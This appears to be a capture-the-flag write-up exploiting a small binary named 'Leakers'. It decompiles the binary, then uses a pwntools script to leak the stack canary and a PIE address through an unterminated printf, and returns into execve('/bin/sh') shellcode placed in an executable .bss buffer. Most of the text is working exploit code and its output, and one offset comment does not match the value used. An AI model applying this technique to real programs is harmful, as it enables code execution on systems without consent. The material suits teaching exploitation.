<<

ASLR Exploitation Writeup

Since ASLR is active, memory addresses are not consistent

Initial analysis

The provided program reads two inputs and prints them on stdout. Then, it continuously rereads the second input and prints both buffers on stdout.

If we run checksec:

This is the decompiled binary from Ghidra:

undefined8 main(void)

{
  int mmprotect_return;
  undefined8 uVar1;
  ssize_t nread;
  long in_FS_OFFSET;
  char buffer [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(_stdin,(char *)0x0,2,0);
  setvbuf(_stdout,(char *)0x0,2,0);
  puts("Welcome to Leakers!\n");
  mmprotect_return = mprotect(&_GLOBAL_OFFSET_TABLE_,0x1000,7);
  if (mmprotect_return == -1) {
    puts("Failed mprotect!");
    uVar1 = 0xffffffff;
  }
  else {
    nread = read(0,bss_buffer,100);
    if (1 < (int)nread) {
      bss_buffer[(int)nread + -1] = '\0';
    }
    while( true ) {
      nread = read(0,buffer,200);
      if (((int)nread == 1) && ((buffer[0] == '\n' || (buffer[0] == '\0')))) break;
      printf("%s> %s",bss_buffer,buffer);
    }
    puts("Bye!");
    uVar1 = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return uVar1;
}

We can see that the first buffer is stored in a global variable in the .bss section, while the second one is in a local variable on the stack. Since the .bss memory area is made executable by mmprotect, we can potentially put a shellcode in that buffer.

Stack Canary Bypass

The first bug we find is a buffer overflow on the second read. The reads expect 200 bytes, while the program allocated only 104. We can immediately try to overflow the EIP address of the main function to get execution control. But, since we have canary implemented, if we do so, we trigger the __stack_chk_fail() function. Nonetheless, by doing so, we proved that we can effectively overwrite the EIP, and with gdb we can compute the offset from our buffer.

Another step that got me closer to the solution was analyzing the behavior of the printf in the while loop: it prints both the user-supplied buffers, but while for the first buffer, a terminating null byte is put in place after the read, no similar action is taken for the second one. This gives us the chance to print stuff from the stack indefinitely.

The first bytes of the canary are always zero, preventing any accidental leak of the canary when printing buffers from the stack. Here comes the trick: since we have a long enough buffer overflow, we can overwrite the zero bytes and make the printf leak the canary. Moreover, since we do so inside a while loop, we can both leak it and then correctly overwrite it without triggering ___stack_check_fail.

At this point, to interact with the binary, we use a small script in Python using pwntool. Here’s a snippet from the scripting sending the payload.

# GDB
gdb.attach(r,'''
		c
		''')   
# Sending bss buffer ****

shellcode = b"\x48\x8D\x3D\x00\x00\x00\x00\x48\xC7\xC0\x3B\x00\x00\x00\x48\x31\xD2\x48\x31\xF6\x48\x83\xC7\x13\x0F\x05/bin/sh\x00"

input("wait")
r.sendline(shellcode)
print("[!] bss sent")

# Sending stack overflow ****
input("wait")
overflow = b"B"*105 # overflow stack and first byte of canary
r.send(overflow)
print("[!] overflow sent")

# Reading Canary ****
r.recvuntil(b"> ")
r.read(105) # read stack overflow

leaked_canary = b"\x00" + r.read(7) # add back the overwritten 0 byte
canary = u64(leaked_canary) # unpack the canary

print("[!] leaked_canary: %s" % leaked_canary)
print("[!] canary: %#x" % canary)

In this way, we successfully overflowed the canary.

We can check the value on gdb.

Since our input doesn’t exit the exit loop, we can feed a second payload that:

  • overwrites the canary with the correct
  • overwrites the EIP

For now, we don’t have a specific address to redirect the EIP, we just want the program to crash.

# Canary overwrite *****
payload = cyclic(104) + p64(canary) + cyclic(8) + b"AAAAAAAA"
r.send(payload)

From gdb:

Program received signal SIGSEGV, Segmentation fault.
► 0x55de2ce00ab0 <main+336>    ret    <0x41414141414141>

ASLR Bypass

The main challenge in exploiting this binary comes from the mitigations enabled. Since ASLR is enabled, we need a leak to find the address of our .bss buffer.

Exploiting the printf vulnerability, I played around the stack to see if I could leak anything of interest.

# Exploit while loop to gradually leak rest of the stack
for i in range(120,150):
    overflowing_buffer = cyclic(i)
    r.send(overflowing_buffer)
    r.recvuntil(b"> ")
    buffer = r.read(i) # read cyclic

    if( 136 == i):
        leaked_address = r.read(6) + b"\x00" + b"\x00"
        stack_address = u64(leaked_address)
        print("[!] leaked address: %s" % leaked_address)
        print("[!] address: %#x" % stack_address)
        continue

    leaked_stack = r.recv(200, timeout=0.01)
    print(f"[!] {i}. leaked stack: {leaked_stack}")

The corresponding output:

[!] bss sent
wait
[!] stack overflow sent
[!] leaked_canary: b'\x00\x04\xa5E\xc2\x84\x03o'
[!] canary: 0x6f0384c245a50400
[!] 120. leaked stack: b'\x90\x9d\x02K\xea\x7f'
[!] 121. leaked stack: b'\x9d\x02K\xea\x7f'
[!] 122. leaked stack: b'\x02K\xea\x7f'
[!] 123. leaked stack: b'K\xea\x7f'
[!] 124. leaked stack: b'\xea\x7f'
[!] 125. leaked stack: b'\x7f'
[!] 126. leaked stack: b''
[!] 127. leaked stack: b''
[!] 128. leaked stack: b''
[!] 129. leaked stack: b''
[!] 130. leaked stack: b''
[!] 131. leaked stack: b''
[!] 132. leaked stack..: b''
[!] 134. leaked stack: b''
[!] 135. leaked stack: b''
[!] leaked address: b'`\t@\xf0_U\x00\x00'
[!] address: 0x555ff0400960
[!] 137. leaked stack: b'\t@\xf0_U'
[!] 138. leaked stack: b'@\xf0_U'
[!] 139. leaked stack: b'\xf0_U'
[!] 149. leaked stack: b''

Straight away, after 136 bytes from our buffer, a stack address seems to be consistently leaked. Even though this address is not static, it is always at the same distance from our bss buffer. Then, it is simply a matter of computing the offset from this buffer to our shellcode. Here is the final part of the script that overwrites the EIP with our shellcode address:

# Compute bss buffer address - 2098848
bss_buffer_address = stack_address + 2098976

# Shellcode Execution
print("[?] Enter to init shellcode execution")

input("wait")

# Canary overwrite
payload = cyclic(104) + p64(canary) + cyclic(8) + p64(bss_buffer_address) + b"\x90"*30

r.send(payload) # >>>>>
print("[!] Canary overwrite sent")

# Terminate loop and trigger return *****
print("[?] Enter to trigger shellcode")
input("wait")
r.sendline(b"") # >>>>>

# Interactive *********************
r.interactive();